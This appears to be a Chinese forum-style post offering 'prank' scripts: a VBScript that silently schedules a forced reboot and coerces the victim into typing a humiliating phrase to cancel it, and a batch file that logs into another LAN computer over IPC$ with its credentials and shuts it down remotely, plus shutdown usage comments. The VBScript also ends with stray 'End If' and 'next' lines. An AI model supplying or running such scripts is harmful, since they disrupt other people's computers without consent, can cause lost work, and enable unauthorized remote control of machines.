1. vbs整人的代码。
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“我是”，不说“我是XX”就一分钟关你的机，不信，试试……"" ",0,true
dim a
do while(a <> "我是XX，大哥我真的是XX啊!")
a = inputbox ("说我是XX，就不关机，快说，说 ""我是XX，大哥我真的是XX啊!"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox "你终于承认了啊!感叹中……",vbinformation,"真听话啊!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,true
msgbox "哈哈，我也看你像XX~!",vbinformation,"同感啊~~!!"
End If
next
2. 整人的自动关机的程序
我有，正好也是在局域网内可用的。
开始——运行——cmd
net use \\对方IP\ipc$ "密码" /user:"用户名"
shutdown -s -m \\对方IP -t 00
或新建一个记事本，把下面的内存复制过去，保存成.bat（注：要知道对方IP和密码及用户）
@echo off
echo "开始关闭计算机 IP=对方IP"
net use \\对方IP\ipc$ "密码" /user:"用户"
shutdown -s -m \\对方IP
pause
@ Rem "please use 'shutdown -a' to abort the shutdown process
@ Rem shutdown 命令用法:
@ Rem shutdown [-i | -l | -s | -r | -a] [-f] [-m \\computername] [-t xx] [-c "comment"] [-d up:xx:yy]
@ Rem 没有参数 显示此消息(与 ? 相同)
@ Rem -i 显示 GUI 界面，必须是第一个选项
@ Rem -l 注销(不能与选项 -m 一起使用)
@ Rem -s 关闭此计算机
@ Rem -r 关闭并重启动此计算机
@ Rem -a 放弃系统关机
@ Rem -m \\computername 远程计算机关机/重启动/放弃
@ Rem -t xx 设置关闭的超时为 xx 秒
@ Rem -c "comment" 关闭注释(最大 127 个字符)
@ Rem -f 强制运行的应用程序关闭而没有警告
@ Rem -d [u][p]:xx:yy 关闭原因代码
@ Rem u 是用户代码
@ Rem p 是一个计划的关闭代码
@ Rem xx 是一个主要原因代码(小于 256 的正整数)
@ Rem yy 是一个次要原因代码(小于 65536 的正整数)